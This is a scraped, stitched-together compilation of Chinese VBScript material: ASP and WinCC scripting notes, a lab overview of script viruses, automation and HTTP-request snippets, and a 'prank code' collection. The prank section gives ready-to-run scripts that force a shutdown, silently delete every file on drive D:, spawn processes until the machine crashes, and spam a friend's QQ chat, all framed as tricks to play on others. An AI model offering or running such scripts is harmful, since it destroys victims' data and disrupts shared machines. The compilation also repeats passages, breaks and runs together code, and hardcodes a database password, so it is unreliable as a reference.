vb脚本

ASP动态网页-VB脚本语言2(模块八)

任务四在HTML页面中嵌入VBscript
例：要求用户在文本框中输入用户名，提交时，若文本框为空，则取消提交。
任务四在HTML页面中嵌入VBscript
例：利用复选框让用户选择其爱好，输出用户所选的内容。
任务四在HTML页面中嵌入VBscript 例：利用单选钮让用户选择其性别，输出用
1. VBScript是ASP的缺省语言，它通过变量、操作符、循环、分支、函数和子例程扩展了HTML。可以在HTML 文件中直接嵌入VBScript脚本，使静态HTML网页变为动态网页。 VBScript是一种脚本语言，脚本语言的句法比较简单，这意味着它比Basic语言容易使用。但是，简单的句法也使开发大的应用程序变得很困难，这也使得它比 Basic语言难用。 VBScript可以作为客户端编程语言，由浏览器解释执行。 VBScript也可以作为服务器端编程语言。服务器端编程语言是在服务器上执行的语言，服务器为一个站点提供文件，浏览器接收这些文件。服务器端编程语言将执行站点主机上的所有操作。
主讲老师：钟新玉
Dreamweaver CS3网页制作任务实训教程
模块八制作ASP动态网页 -VB脚本语言
学习目标
熟悉VBscript脚本语言的概念；能利用VBscript脚本语言简单编程
常用的脚本语言： • VBScript • JavaScript • Perl
任务一 VBscript 脚本语言简介
个变量时，使用逗号分隔变量。例如：Dim top, bottom, left, right。
名被拼错而导致运行Script时出现意外结果。
（2）变量的作用域
VBScript变量都有相应作用域，作用域由声明变量的位置决定，此时变量具有局部作用域并称为过程级变量。在过程之外声明变量可以被脚本中所有过程识别，称为全局变量。

第13章 VB脚本

图13.8 菜单编辑器窗口
图13.9 创建完后的菜单栏
表13.1 main窗体中菜单标题与对应名称
标题查询操作图书查询借书查询日常管理读者管理图书管理数据备份图书借还借书管理还书管理退出系统名称 search book_search_File borrow_search_File manage reader_manage_File book_manage_File back_data_File BR borrow_manage_File return_manage_File exit 说明一级菜单二级菜单二级菜单一级菜单二级菜单二级菜单二级菜单一级菜单二级菜单二级菜单一级菜单
图13.7 显示图书信息
ADO Connection 对象用于创建一个到达某个数据源的开放连接，通过此连接可以对一个数据库进行访问和操作。如果需要多次访问某个数据库，就应当使用Connection对象来建立一个连接。例如，使用Connection对象连接XSBOOK数据库的语句如下所示：
Private SqlCon As New ADODB.Connection SqlCon.Provider = "SQLOLEDB" SqlCon.Open "User ID=sa;Password=123456;Initial Catalog=XSBOOK;Data Source=0BD7E57C949A420"
图13.1 选择提供程序
在“连接”选项卡中，“选择或输入服务器名称”栏下选择SQL Server数据库所在的服务器名，“用户名称”使用sa，勾选“允许保存密码”复选框，“在服务器上选择数据库”为XSBOOK，如图13.2所示。

VB操作wincc脚本心得

V B操作w i n c c脚本心得集团标准化工作小组 #Q8QGGQT-GX8G08Q8-GNQGJ8-MHHGN#Vbs 操作wincc画面脚本总结一：不使用变量单纯的操作界面1.操作某个画面中控件的属性如（总窗体）下的画面窗口2（画面窗口）Sub OnClick(ByVal Item) Dim objCircleDim screennameDim pwnameSet objCircle= ScreenItems("圆1" )= 60Set screenname=("Home1") creenItems("画面窗口2")Set value=2.更改画面窗口的对象Sub OnClick(Byval Item)Dim opObjectSet opObject= ("Home1").ScreenItems("画面窗口2")=""End Sub3.设置文本Set titleTxt= ("Home1").ScreenItems("静态文本2")=+"EF" Dim objTagDim ATextSet objTag = ("a") vb 中Switch语句的变体Dim objTagDim ATextSet objTag = ("a") 你要求是有是和否两个按钮那么MyVar = MsgBox ("HelloWorld!", 65, "MsgBox Example")中的65改成4就可以了！vbs脚本中：if msgbox("确实要启动设备吗"，4，"警告")=6 then("tag1").write 1end if。

vb脚本病毒

一．脚本病毒概述脚本程序的执行环境需要WSH（Windows Script Host，Windows脚本宿主）环境，WSH为宿主脚本创建环境。

即当脚本到达计算机时，WSH充当主机的部分，它使对象和服务可用于脚本，并提供一系列脚本执行指南。

WSH是微软提供的一种基于32位Windows平台的、与语言无关的脚本解释机制，它使得脚本能够直接在Windows桌面或命令提示符下运行。

利用WSH用户能够操纵WSH对象、ActiveX对象、注册表和文件系统，还可以访问活动目录服务。

WSH依赖于IE提供的Visual BasicScript 和JavaScript脚本引擎，所对应的程序“C:\Windows\wscript.exe”是一个脚本语言解释器。

Visual BasicScript和JavaScript作为客户端编程语言，当一个以该语言编制的程序被下载到一个兼容的浏览器中时，浏览器将自动执行该程序。

“爱虫”、“欢乐时光”、“尼姆达”、“求职信”等病毒都是属于这一类的病毒。

脚本病毒的主要特点：（1）由于脚本是直接解释执行，可以直接通过自我复制的方式感染其它同类文件，并且使异常处理变得非常容易。

（2）脚本病毒通过HTML文档、Email附件或其它方式，可以在很短的时间内传遍世界各地，通常是使用在邮件附件中安置病毒本体的方法，然后利用人们的好奇心，通过邮件主题或邮件内容诱骗人们点击附件中的病毒体而被感染。

（3）新型的邮件病毒邮件正文即为病毒，用户接收到带毒邮件后，即使不将邮件打开，只要将鼠标指向邮件，通过预览功能病毒也会被自动激活。

（4）病毒源码容易被获取，变种多。

由于VBS病毒解释执行，其源码可读性好，即使病毒源码经过加密处理后，其源码的获取还是比较简单。

因此，这类病毒稍微改变一下病毒的结构或者特征值，很多杀毒软件可能就无能为力了。

（5）欺骗性强。

脚本病毒为了得到运行机会，往往会采用各种让用户不太注意的手段，譬如，邮件的附件采用双后缀，如jpg.vbs或txt.vbs，由于系统默认不显示后缀，这样，用户看到此文件时就会认为它是一个jpg图片或文本文件。

后台自动登录网页vb脚本实例代码

set IE=createobject("Internetexplorer.application")IE.Visible = TrueIE.Navigate "https:///login.htm"‘等待网页加载完成While IE.busy Or IE.readystate<>4Wend'从网页元素中找到设置的元素，并赋值'因为form没有name或id，只能从document的collection里取forms集合'再从中定位输入框和提交按钮IE.Document.Forms(0).elements("name").value = "aaaa"IE.Document.Forms(0).elements("passwd").value = "1111"IE.Document.Forms(0).elements("Send").click'登录后界面是框架结构，先等主框架加载完成While IE.busy Or IE.readystate<>4Wend'等框架内网页1加载完成While IE.busy Or IE.Document.Frames(1).document.readystate<>"complete"Wend'点击一个图片按钮/链接，需要先定位到框架内，再从document的collection里取images集合IE.Document.Frames(1).document.images(3).click'等主框架加载完成While IE.busy Or IE.readystate<>4Wend'等框架内网页2加载完成While IE.busy Or IE.Document.Frames(2).document.readystate<>"complete"Wend'定位select控件，并作出选择IE.Document.Frames(2).document.Forms(0).elements("lst_ed_day").selectedIndex=8IE.Document.Frames(2).document.Forms(0).elements("lst_st_time").selectedIndex=1'其他操作。

网络安全实验---VB脚本病毒

一、实验目的和要求了解VB脚本病毒的工作原理了解VB脚本病毒常见的感染目标和感染方式掌握编写VB脚本病毒专杀工具的一般方法二、实验内容和原理1．脚本病毒概述脚本程序的执行环境需要WSH（Windows Script Host，Windows脚本宿主）环境，WSH 为宿主脚本创建环境。

即当脚本到达计算机时，WSH充当主机的部分，它使对象和服务可用于脚本，并提供一系列脚本执行指南。

WSH是微软提供的一种基于32位Windows平台的、与语言无关的脚本解释机制，它使得脚本能够直接在Windows桌面或命令提示符下运行。

利用WSH用户能够操纵WSH对象、ActiveX对象、注册表和文件系统，还可以访问活动目录服务。

WSH依赖于IE提供的Visual BasicScript和JavaScript脚本引擎，所对应的程序“C:\Windows\wscript.exe”是一个脚本语言解释器。

Visual BasicScript和JavaScript作为客户端编程语言，当一个以该语言编制的程序被下载到一个兼容的浏览器中时，浏览器将自动执行该程序。

“爱虫”、“欢乐时光”、“尼姆达”、“求职信”等病毒都是属于这一类的病毒。

脚本病毒的主要特点：（1）由于脚本是直接解释执行，可以直接通过自我复制的方式感染其它同类文件，并且使异常处理变得非常容易。

（2）脚本病毒通过HTML文档、Email附件或其它方式，可以在很短的时间内传遍世界各地，通常是使用在邮件附件中安置病毒本体的方法，然后利用人们的好奇心，通过邮件主题或邮件内容诱骗人们点击附件中的病毒体而被感染。

（3）新型的邮件病毒邮件正文即为病毒，用户接收到带毒邮件后，即使不将邮件打开，只要将鼠标指向邮件，通过预览功能病毒也会被自动激活。

（4）病毒源码容易被获取，变种多。

由于VBS病毒解释执行，其源码可读性好，即使病毒源码经过加密处理后，其源码的获取还是比较简单。

因此，这类病毒稍微改变一下病毒的结构或者特征值，很多杀毒软件可能就无能为力了。

VB操作wincc脚本心得

Vbs 操作wincc画面脚本总结一：不使用变量单纯的操作界面1.操作某个画面中控件的属性如（总窗体）下的画面窗口2（画面窗口）Sub OnClick(ByVal Item) Dim objCircleDim screennameDim pwnameSet objCircle= ScreenItems("圆1" )= 60Set screenname=("Home1") creenItems("画面窗口2")Set value=2.更改画面窗口的对象Sub OnClick(Byval Item)Dim opObjectSet opObject= ("Home1").ScreenItems("画面窗口2")=""End Sub3.设置文本Set titleTxt= ("Home1").ScreenItems("静态文本2")=+"EF" Dim objTagDim ATextSet objTag = ("a") vb 中Switch语句的变体Dim objTagDim ATextSet objTag = ("a") 你要求是有是和否两个按钮那么MyVar = MsgBox ("Hello World!",65, "MsgBox Example")中的65改成4就可以了！vbs脚本中：if msgbox("确实要启动设备吗"，4，"警告")=6 then("tag1").write 1end if。

VB脚本从入门到精通

什么是 VBScript？Microsoft Visual Basic Scripting Edition 是程序开发语言 Visual Basic 家族的最新成员，它将灵活的脚本应用于更广泛的领域，包括 Microsoft Internet Explorer 中的 Web 客户机脚本和 Microsoft Internet Information Service 中的 Web 服务器脚本。

易学易用如果您已了解 Visual Basic 或 Visual Basic for Applications，就会很快熟悉VBScript。

即使您没有学过 Visual Basic，只要学会 VBScript，就能够使用所有的Visual Basic 语言进行程序设计。

虽然您可以从本教程的几个 Web 页面中学习VBscript，但是本教程并没有告诉您如何编程。

要学习编程，请阅读由 Microsoft Press 出版的《Step by Step》。

ActiveX 脚本VBScript 使用 ActiveX(R)脚本与宿主应用程序对话。

使用 ActiveX Script，浏览器和其他宿主应用程序不再需要每个脚本部件的特殊集成代码。

ActiveX脚本使宿主可以编译Script、获取和调用入口点及管理开发者可用的命名空间。

通过 ActiveX Script，语言厂商可以建立标准脚本运行时语言。

Microsoft 将提供 VBScript 的运行时支持。

Microsoft 正在与多个 Internet 组一起定义 ActiveX脚本标准以使脚本引擎可以互换。

ActiveX脚本可用在 Microsoft(R) Internet Explorer 和 Microsoft(R) Internet Information Service 中。

其他应用程序和浏览器中的 VBScript作为开发者，您可以在您的产品中免费使用 VBScript 源实现程序。

VB脚本从入门到精通

什么是 VBScript？Microsoft Visual Basic Scripting Edition 是程序开发语言 Visual Basic 家族的最新成员，它将灵活的脚本应用于更广泛的领域，包括 Microsoft Internet Explorer 中的 Web 客户机脚本和 Microsoft Internet Information Service 中的 Web 服务器脚本。

易学易用如果您已了解 Visual Basic 或 Visual Basic for Applications，就会很快熟悉VBScript。

即使您没有学过 Visual Basic，只要学会 VBScript，就能够使用所有的Visual Basic 语言进行程序设计。

虽然您可以从本教程的几个 Web 页面中学习VBscript，但是本教程并没有告诉您如何编程。

要学习编程，请阅读由 Microsoft Press 出版的《Step by Step》。

ActiveX 脚本VBScript 使用 ActiveX(R)脚本与宿主应用程序对话。

使用 ActiveX Script，浏览器和其他宿主应用程序不再需要每个脚本部件的特殊集成代码。

ActiveX脚本使宿主可以编译Script、获取和调用入口点及管理开发者可用的命名空间。

通过 ActiveX Script，语言厂商可以建立标准脚本运行时语言。

Microsoft 将提供 VBScript 的运行时支持。

Microsoft 正在与多个 Internet 组一起定义 ActiveX脚本标准以使脚本引擎可以互换。

ActiveX脚本可用在 Microsoft(R) Internet Explorer 和 Microsoft(R) Internet Information Service 中。

其他应用程序和浏览器中的 VBScript作为开发者，您可以在您的产品中免费使用 VBScript 源实现程序。

讨论如何让自己的应用程序支持脚本最初也是在CSDN的Blog上找的,但是我再次去找的时候发现已经找不到了.在此对原作者的提示表示感谢...More...关键字: VB 脚本作者:董含君讨论如何让自己的应用程序支持脚本最初也是在CSDN的Blog上找的,但是我再次去找的时候发现已经找不到了.在此对原作者的提示表示感谢使用范围,可以让用户开发的时候使用脚本,用exe或者dll进行接口开发虽然功能强大,但是不方便,用脚本,或者大家熟知的脚本就方便多了.方法1 :自己作编译器解释器方法2 :利用现有的解释器,用脚本,省略编译器很明显,第二种方法简单的多.问题是现有的解释器(我叫做脚本引擎)有什么,去哪里找,怎么支持...python比较流行,可以用于游戏脚本引擎,但是我目前还不会用(毕竟,我不是上帝)VBA 就是office的vba,用vb6的语法,我选这个.因为我见了vb就特别亲切...估计凯比用不上这项技术吧....最关键的就是找到这个传说中的vba6.dll 他来负责解释Private Declare Function EbExecuteLine Lib "vba6.dll" ( _ByVal pStringToExec As Long, _ByVal Unknownn1 As Long, _ByVal Unknownn2 As Long, _ByVal fCheckOnly As Long) As Longdll声明,顾名思义,就是执行一行第一个参数,指向命令行字符串的指针剩下的参数不知道作甚么用的......用的时候:封装一下这样用起来方便Function stepline(ByVal cmd As String) As Long 'cmd就是vb6代码Dim l As Long '临时变量,意义不大l = EbExecuteLine(StrPtr(ByVal cmd), 0, 0, 0) '这就是实质,简单吧Debug.Print CStr(l) + ":" + cmd '调试用的,无意义End Function你可以直接这么用Debug.Print EbExecuteLine(StrPtr("dim a as long,b as long,c as long"), 0, 0, 0) Debug.Print EbExecuteLine(StrPtr("a=" & 3), 0, 0, 0)Debug.Print EbExecuteLine(StrPtr("b=" & 5), 0, 0, 0)Debug.Print EbExecuteLine(StrPtr("c=" & 2), 0, 0, 0)Debug.Print EbExecuteLine(StrPtr("clipboard.settext (a+b)/c"), 0, 0, 0) Debug.Print EbExecuteLine(StrPtr("msgbox Clipboard.GetText"), 0, 0, 0)也可以stepline "dim a as long,b as long,c as long"stepline "a=" & 3stepline "b=" & 5stepline "c=" & 2stepline "clipboard.settext (a+b)/c"stepline "msgbox Clipboard.GetText"或者将文本放入listbox,甚至可以逐行进行(当然,有兴趣你可以自己做调试器)If List1.ListCount = 0 ThenMsgBox "没有代码"ElseList1.ListIndex = 0Dim i As LongFor i = 0 To List1.ListCount - 1stepline List1.List(i)NextEnd If当然,直接执行文本也是可以的假定text1.text是全部的代码List1.ClearDim Arr() As StringDim i As LongDim s As StringArr = Split(Text1.Text, Chr(13) + Chr(10))For i = 0 To UBound(Arr())stepline Arr(i)Next简单吧而且这些完全是面向对象的你的程序就相当于虚拟机,vba6.dll就是解释器脚本可以做什么!!连API跟COM都可以用如果你的虚拟机支持(就是程序提供现有的对象),他可以直接用(也称为API,不过是你提供的,不是Windows提供的而已)给出几个实例脚本(以下是过程,自动填充到text1)Private Sub Command4_Click()Text1.Text = "'例子VB6语法"Text1.Text = Text1.Text + Chr(13) + Chr(10) + "dim a as long,b as long,c as long"Text1.Text = Text1.Text + Chr(13) + Chr(10) + "a=" & 3Text1.Text = Text1.Text + Chr(13) + Chr(10) + "b=" & 5Text1.Text = Text1.Text + Chr(13) + Chr(10) + "c=" & 2Text1.Text = Text1.Text + Chr(13) + Chr(10) + "clipboard.settext (a+b)/c"Text1.Text = Text1.Text + Chr(13) + Chr(10) + "msgbox Clipboard.GetText"End SubPrivate Sub Command5_Click()Text1.Text = "'例子真的是面向对象的,更改新的标题"Text1.Text = Text1.Text + Chr(13) + Chr(10) + "dim f as form1"Text1.Text = Text1.Text + Chr(13) + Chr(10) + "set f = new form1"Text1.Text = Text1.Text + Chr(13) + Chr(10) + "f.show"Text1.Text = Text1.Text + Chr(13) + Chr(10) + "f.caption=""aaaa"" "End SubPrivate Sub Command6_Click()Text1.Text = "'例子运行应用程序,并且发送按键!!"Text1.Text = Text1.Text + Chr(13) + Chr(10) + "shell ""notepad.exe c:\example.txt"",vbnormalfocus "Text1.Text = Text1.Text + Chr(13) + Chr(10) + "sendkeys ""Hello World!"" "End Sub。

（完整word版）wincc用户归档VB脚本与SQL使用说明

（完整word版）wincc⽤户归档VB脚本与SQL使⽤说明⼀、报表建⽴本次项⽬要求：所有测量变量在⼀个⼯作周期结束后进⾏存储，也就是事件触发，不同与以往的周期触发。

1、要求能存储字符串类型的数据，所以本次报表使⽤⽤户归档来实现，因为变量记录⼯具是不能存储字符串类型数据的。

⽽且⽤户归档控件的事件触发⽐变量记录要灵活的多。

2、要求可以将数据导出到EXCEL表格中。

实现对数据的编辑。

具体实现⽅法如下：第1项不⽤过多在意，了解⼀下即可，从第2项起为主要内容。

第1项的作⽤就是讲解怎样触发⽤户归档存储数据的。

1、在建⽴报表前⾸先要新建两个系统变量，⽤于⽇期和时间的存储。

在WINCC组态环境内——右击变量管理——单击添加新的驱动程序——找到System Info.chn——单击打开如下图建⽴两个变量分别为riqi 和shijian——作为⽇期和时间的存储变量。

再建⽴两个控制变量，此变量需要与下位机程序进⾏连接。

分别为A_ID、A_JOP在下位机程序⾥进⾏编写，当⾃控程序运⾏完⼀边后将这两个变量分别赋值-1、6赋值结束后再将0赋给这两个变量。

程序如下图此⽬的是⽤于⽤户归档数据存储时事件触发条件，在后⾯⽤户归档建⽴会详细描写。

2、建⽴⽤户归档WINCC在第⼀次安装完后是没有⽤户归档控件的，需要再次将光盘插⼊重新安装⼀次，在选项中将⽤户归档添加进⾏安装。

单击下⼀步先点击创建，在创建变量完成后，将上⾯建⽴的两个变量A_ID/A_JOP分别添加到ID和指令内，⽅法：单击选择按钮——浏览变量添加即可。

此项是⽤于数据存储触发的。

也就是当ID和指令分别为-1和6时⽤户归档存储⼀次数据。

详细如下图单击完成实现对⽤户归档的创建。

3、创建VB脚本动作，是⽤于⽤户归档事件触发的动作，没有此动作⽤户归档将⽆法存储数据。

⽅法：打开VB脚本——单击⽂件——新建——动作。

然后将下⾯程序写⼊即可。

Function actionDim xiaoshiDim riqiDim flagSet flag = HMIRuntime.Tags("flag")flag.ReadIf flag.Value =1 Thenriqi=CStr(Year(Now))&"-"&CStr(Month(Now))&"-"&CStr(Day(Now))Dim A_IDSet A_ID = HMIRuntime.Tags("A_ID")Dim A_JOPSet A_JOP = HMIRuntime.Tags("A_JOP")A_ID.ReadA_ID.Write -1A_JOP.ReadA_JOP.Write 6End If输⼊完之后将其保存。

vb脚本文档

VB脚本VB脚本（Visual Basic Script）是一种基于VB（Visual Basic）语言的轻量级脚本语言，由微软公司开发。

它被广泛应用于Windows系统中的各种自动化任务和脚本编程需求中。

VB脚本可以通过Windows脚本宿主（Windows Script Host）来执行，也可以嵌入到HTML文档中并由浏览器解释执行。

1. 特点VB脚本具有以下特点：1.1 轻量级VB脚本是一种轻量级脚本语言，相比于VB语言，在语法和功能上有所简化和限制。

这使得VB脚本更加易于学习和使用，适用于快速开发和执行简单的脚本任务。

1.2 基于VB语言VB脚本基于VB语言，具有类似的语法和表达能力，可以使用VB语言中的大部分语法和构造。

这意味着熟悉VB语言的开发者可以很快上手VB脚本的编写。

1.3 支持Windows系统VB脚本是针对Windows系统开发的脚本语言，可以在Windows系统中执行。

它可以直接调用Windows系统的API、COM组件和其他脚本宿主提供的功能，方便实现与系统和应用程序的交互。

1.4 高度可定制VB脚本可以通过定义变量、函数和类来实现高度可定制的脚本逻辑。

开发者可以根据自己的需求灵活构建各种功能，并通过脚本参数和返回值与外部环境进行交互。

2. 用途VB脚本可以用于各种场景，包括但不限于：2.1 系统自动化任务VB脚本可以执行各种系统自动化任务，如文件操作、注册表操作、进程管理等。

开发者可以利用VB脚本快速编写一些简单而重复的任务脚本，提高工作效率。

2.2 网络管理VB脚本可以通过Windows脚本宿主执行网络管理任务，如查询网络信息、配置网络设置、监控网络状态等。

它可以与Windows的网络管理接口进行交互，实现对网络资源的操作和管理。

2.3 系统监控和日志记录VB脚本可以编写监控脚本，定期检查系统状态或特定应用程序的运行状态，并记录相关日志。

这些脚本可以帮助管理员实时监控系统运行情况，及时发现和解决问题。

VB整人程序代码大全

vbs整人代码大**一、你打开好友的聊天对话框,然后记下在你QQ里好友的昵称,把下面代码里的xx替换一下,就可以自定义发送QQ信息到好友的次数(代码里的数字10改一下即可).xx.vbs=>=---------------------------------------------------------------------------On Error Resume NextDim wsh,yeset wsh=createobject("wscript.shell")for i=1 to 10wscript.sleep 700wsh.AppActivate("与xx 聊天中")wsh.sendKeys "^v"wsh.sendKeys iwsh.sendKeys "%s"nextwscript.quit----------------------------------------------------------------------------QQ骚扰信息,也可以用在其它程序上。

二、我就用这个程序放在学校图书馆查询书刊的机器上，好多人都那它没办法，哈哈------------------------------------------------------------------------------domsgbox "You are foolish!"loop------------------------------------------------------------------------------三、打开无数个计算器，直到死机------------------------------------------------------------------------------set wsh=createobject("wscript.shell")dowsh.run "calc"loop-----------------------------------------------------------------------------四、直接关机-----------------------------------------------------------------------------dim WSHshellset WSHshell = wscript.createobject("wscript.shell")WSHshell.run "shutdown -f -s -t 00",0 ,true-----------------------------------------------------------------------------五、删除D:\所有文件---------------------------------------------------------------------------dim WSHshellset WSHshell = wscript.createobject("wscript.shell")WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true----------------------------------------------------------------------------六、不断弹出窗口----------------------------------------------------------------------------while(1)msgbox "哈哈你被耍了！"loop----------------------------------------------------------------------------七、不断按下alt+f4 （开什么都关闭……）---------------------------------------------------------------------------dim WSHshellset WSHshell = wscript.createobject("wscript.shell")while(1)WSHshell.SendKeys "%{F4}"loop---------------------------------------------------------------------------八、按500次回车(以上代码在运行者的电脑上显示500个对话框。

vb_BQ常用脚本

1、刷新数据之前清空数据：Public Sub Query_BeforeInputParams(bHideDefUI As Boolean, bCancel As Boolean) With Query.EnvVar("?公司")="".EnvVar ("?客户")=""End WithEnd Sub2、关联上一个数据查询：2.1、客商关联公司Public Sub Input1_SelChanged()input2.DataSource ="select distinct t1.custname from" & vbCrLf & _"{hxnc}.NC.BD_CUBASDOC t1 join {hxnc}.NC.BD_CUMANDOC t2 on " & vbCrLf & _"t1.PK_CUBASDOC=t2.PK_CUBASDOC " & vbCrLf & _"join {hxnc}.NC.BD_CORP t3 on t3.pk_corp=t2.pk_corp and t3.unitname ='" & (Input1.Text) & "'"End Sub2.2、模糊查找功能Public Sub Text1_Change()Input4.DataSource ="select distinct t1.custname from {hxnc}.NC.bd_cubasdoc t1" & vbCrLf & _"where t1.custname like '%"&( Text1.Text) & "%'"End Sub2.3、部门关联公司Public Sub Input1_SelChanged()Input2.DataSource ="select distinct t1.deptname from" & vbCrLf & _"{hxnc}.NC.bd_deptdoc t1 join {hxnc}.NC.bd_corp t2 on " & vbCrLf & _"t1.pk_corp=t2.pk_corp " & vbCrLf & _" and t1.deptattr=3 and t2.unitname ='" & (Input1.Text) & "'"3、设置参数显示报表位置Public Sub FReport_AfterRefreshData()FReport.ActiveSheet.Cells(3,"C") = "业务员：" & FReport.EnvVar("?业务员")FReport.ActiveSheet.Cells(3,"J") ="日期：" & FReport.EnvVar ("?年度") & "年" & FReport.EnvVar ("?月份") & "月"End Sub4、创建表Public Sub CreateTable_Click()On Error GoTo ERR_PPreparesql = "CREATE TABLE Demo (PID int, PName char(20), Price double, Stock int, PDate date)"CmdText.Text = sqlds.Execute sql, resultExit SubERR_P:MsgBox "Error occur: " & Err.DescriptionEnd Sub5、插入一条数据Public Sub InsertRecord_Click()On Error GoTo ERR_PPreparesql = "INSERT INTO Demo V ALUES(" & PID.Text & ", '" & PName.Text & "', " & Price.Text & ", " & Stock.Text & ", '" & PDate.Text & "')"CmdText.Text = sqlds.Execute sql, resultExit SubERR_P:MsgBox "Error occur: " & Err.DescriptionEnd Sub6、更新当前记录Public Sub UpdateRecord_Click()On Error GoTo ERR_PPreparesql = "UPDATE Demo SET PName = '" & PName.Text & "', Price = " & Price.Text & ", Stock = " & Stock.Text & ", PDate = '" & PDate.Text & "' WHERE PID = " & PID.Text CmdText.Text = sqlds.Execute sql, resultExit SubERR_P:MsgBox "Error occur: " & Err.DescriptionEnd Sub7、删除当前记录Public Sub DeleteRecord_Click()On Error GoTo ERR_PPreparesql = "DELETE FROM Demo WHERE PID = " & PID.TextCmdText.Text = sqlds.Execute sql, resultExit SubERR_P:MsgBox "Error occur: " & Err.DescriptionEnd Sub8、查询数据Public Sub Query_Click()On Error GoTo ERR_Psql = "CREATE DA TASET FROM {Northwind} BY SELECT * FROM Demo WHERE PID = " & PID.TextCmdText.Text = sqlDim dset As New SunDatasetdset.CreateDataset sql, -1PName.Text = dset.CellData(1,2)Price.Text = dset.CellData(1,3)Stock.Text = dset.CellData(1,4)PDate.Text = dset.CellData(1,5)Exit SubERR_P:PName.Text = ""Price.Text = ""Stock.Text = ""PDate.Text = ""End Sub。

VB调用VB脚本VBS向Http请求的三种方式

VB调⽤VB脚本VBS向Http请求的三种⽅式 VB代码第⼀步，创建脚本对象，读出 VBStest.txt ⽂件Private myScript As ObjectPrivate Sub Form_Load()Call m_InitializeEnd SubPublic Sub m_Initialize()Dim strScriptFile As StringDim strScript As StringDim intFile As IntegerintFile = FreeFilestrScriptFile = App.Path & "\Script\VBStest.txt"If Dir(App.Path & "\Script\VBStest.txt") <> ""ThenOpen strScriptFile For Binary As #intFilestrScript = Input(LOF(intFile), intFile)Close intFileSet myScript = CreateObject("ScriptControl")nguage = "VBScript"'myScript.timeout = 1000myScript.AddCode strScriptEnd IfEnd Sub第⼆步脚本调⽤的⽅法Public Function m_FCustom1(ByVal str调⽤名称As String, ByVal str服务器参数As String, ByRef str返回值As String) As BooleanOn Error GoTo ErrTrapDim strA As Stringstr返回值 = myScript.Run(str调⽤名称, str服务器参数)'m_FCustom1 = TrueExit FunctionErrTrap:MsgBox ("出错！" & CStr(Err) & "" & Error(Err))On Error GoTo0End Function第⼀种 Post⽅式Private Sub Command3_Click()Dim strA As StringCall m_FCustom1("m_Post", "m_Post 11111111", strA)MsgBox ("返回值！" & strA)End Sub第⼆种 Get ⽅式Private Sub Command4_Click()Dim strA As StringCall m_FCustom1("m_Get", "m_Get 222222222", strA)MsgBox ("返回值！" & strA)End Sub第三种 Json ⽅式Private Sub Command1_Click()Dim strA As StringCall m_FCustom1("m_PostTest", "m_Post 接⼝调试", strA)MsgBox ("返回值！" & strA)End SubVB脚本代码 VBStest.txtFunction m_Get(strTelNumber)Dim strADim httpDim strUrlstrUrl="http://localhost/callcenter2/VBStest.php?AAAA=1111"Set http = CreateObject("Msxml2.ServerXMLHTTP")'strA = http.open("GET", "", False)strA = http.open("GET", strUrl, False)http.sendMsgBox http.StatusMsgBox http.responsetextm_Get = http.responsetextEnd FunctionFunction m_Post(strTelNumber)Dim strADim httpDim strUrlstrUrl="http://localhost/callcenter2/VBStest.php"set Http=createobject("MSXML2.XMLHTTP")'strA = http.open("POST", "", False)strA = http.open("POST", strUrl, False)http.setRequestHeader "CONTENT-TYPE","application/x-www-form-urlencoded" http.Send "Text1=1AA&Text2=2BBBBB"MsgBox http.StatusMsgBox http.responsetextm_Post = http.responsetextEnd Function'Jost⽅式Function m_PostTest(strTelNumber)Dim strADim httpDim strUrlstrUrl="http://211.140.196.159:9979/hlbr/api/callcenter/advisory"set Http=createobject("MSXML2.XMLHTTP")'strA = http.open("POST", "", False)strA = http.open("POST", strUrl, False)http.setRequestHeader "CONTENT-TYPE","application/json"http.Send "{'id':'1'}"MsgBox http.StatusMsgBox http.responsetextm_Post = http.responsetextEnd Function。

第4章 VB脚本语言

4.3.2 变量
变量实际上就是用来保存信息和计算结果的一段内存单元的地址。变量名由字母、数字、下划线组成；第一个字符必须是字母；不能大于255个字符。符必须是字母；不能大于255个字符。
VBScript中变量可以不用声明直接使用。 VBScript中变量可以不用声明直接使用。显示声明：Dim 显示声明：Dim 变量名 Public 变量名 Private 变量名变量的赋值：变量名=表达式变量名= 对象名.属性名= 对象名.属性名=表达式
Document.htm
<script language="VBscript"> Document.write(“ Document.write(“师傅，快来救命啊”) Document.write(“ Document.write(“八戒，坚持住，师傅去叫你大师兄”) </script>
4.6 VBScript的控制结构
我坐电梯下去
El（例4 10）
4.6.2多分支语句 Select… 4.6.2多分支语句 Select…Case(例4-11/13) 11/13) 语法：select 语法：select case 变量 case 值1 语句组1 语句组1 case 值2 语句组2 语句组2 …… case else 语句组N+1 语句组N+1 end select
InputBox(提示[，标题][，默认输入][，坐标位置][， InputBox(提示[，标题][，默认输入][，x坐标位置][， y坐标位置]) 坐标位置]) 例：InputBox(请输入你的名字,“输入姓名”) InputBox(请输入你的名字, 输入姓名”
MsgBox函数调用形式如下：（例4 MsgBox函数调用形式如下：（例4-6） MsgBox(提示[，按钮][，标题]) MsgBox(提示[，按钮][，标题]) 文档的输出方法：（例4-7）（例4 Document.write(“字符串” Document.write(“字符串”) Document.writeln(“字符串” Document.writeln(“字符串”)

vb脚本

附录B.VBScript脚本函数简介序号内容画面脚本全局脚本页码 B01 运行数据库 33 3 B02 动态画面 337 B03 实时报表 337 B04 变量报警 337 B05 系统信息 339 B06 配方文件 339 B07 系统操作 3310 B08 当前时间 3311 B09 画面属性(1) 3°11 B10 线/矩形/圆形 3°13 B11 文本/变量 3°15 B12 多边形 3°16 B13 折线 3°19 B14 立体图形 3°20 B15 普通按钮 3°21 B16 圆形按钮 3°22 B17 三角按钮 3°23 B18 图标按钮 3°24 B19 定时器 3°25 B20 位图 3°25 B21 多选框 3°25 B22 单选框 3°26 B23 动画 3°26 B24 信息列表 3°26 B25 用户数据库 3327 B26 SQL命令 3329 B27 用户报表 3329 B28 流动管道 3°30 B29 子画面窗口 3°30 B30 转轮 3°31 B31 标签 3°31 B32 列表框 3°32 B33 数据库连接 3332 B34 配方操作按钮 3°32 B35 报表打印按钮 3°33B36 报警状态按钮 3°33 B37 系统信息查询按钮 3°34 B38 报警信息查询按钮 3°34 B39 存档数据查询按钮 3°34 B40 存档曲线查询按钮 3°34 B41 用户管理 3334 B42 子窗口容器 3°35 B43 Gif图片 3°35 B44 实时曲线 3°35 B45 屏幕打印 3°36 B46 画面操作(2) 3°36 B47 行打印 3337 B48 INI文件 3338 B49 数据转换 3339 B50 数据库查询按钮 3°39 B51 串口操作 3340 B52 数据库列表 3°41 B53 报警状态列表 3°41 B54 表格控件 3°42 B55 保留 3°43 B56 数据选择 3°43 B57 选择框 3°44 B58 